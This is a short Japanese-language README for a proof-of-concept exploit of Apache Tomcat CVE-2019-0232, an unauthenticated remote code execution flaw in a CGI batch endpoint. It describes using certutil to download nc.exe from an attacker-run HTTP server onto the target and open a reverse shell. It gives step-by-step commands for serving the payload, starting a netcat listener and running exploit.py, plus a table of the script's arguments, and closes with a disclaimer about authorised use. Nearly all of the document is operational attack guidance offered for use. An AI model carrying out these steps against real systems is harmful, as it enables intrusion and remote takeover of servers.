
/tomcat-cve-2019-0232 に基づくエクスプロイト
CGIバッチエンドポイントを介した認証なしRCEのPoC。certutilを使用してターゲットにnc.exeをダウンロードし、リバースシェルをトリガーします。
1. nc.exeを配信する (nc.exeと同じディレクトリ内):
python3 -m http.server 80
2. リスナーを起動する:
nc -lvnp 1234
3. エクスプロイトを実行する:
python3 exploit.py \
--url http://:/cgi/.bat \
--server-ip \
--server-port 80 \
--nc-ip \
--nc-port 1234
| 引数 | 必須 | デフォルト | 説明 |
|---|---|---|---|
--url | ✅ | — | CGIエンドポイントを含む完全なターゲットURL |
--server-ip | ✅ | — | HTTP経由でnc.exeを配信するあなたのIP |
--server-port | ❌ | 80 | HTTPサーバーのポート |
--nc-ip | ✅ | — | NetcatリスナーのIP |
--nc-port | ✅ | — | Netcatリスナーのポート |
認可されたペネトレーションテストおよび教育目的のみに使用してください。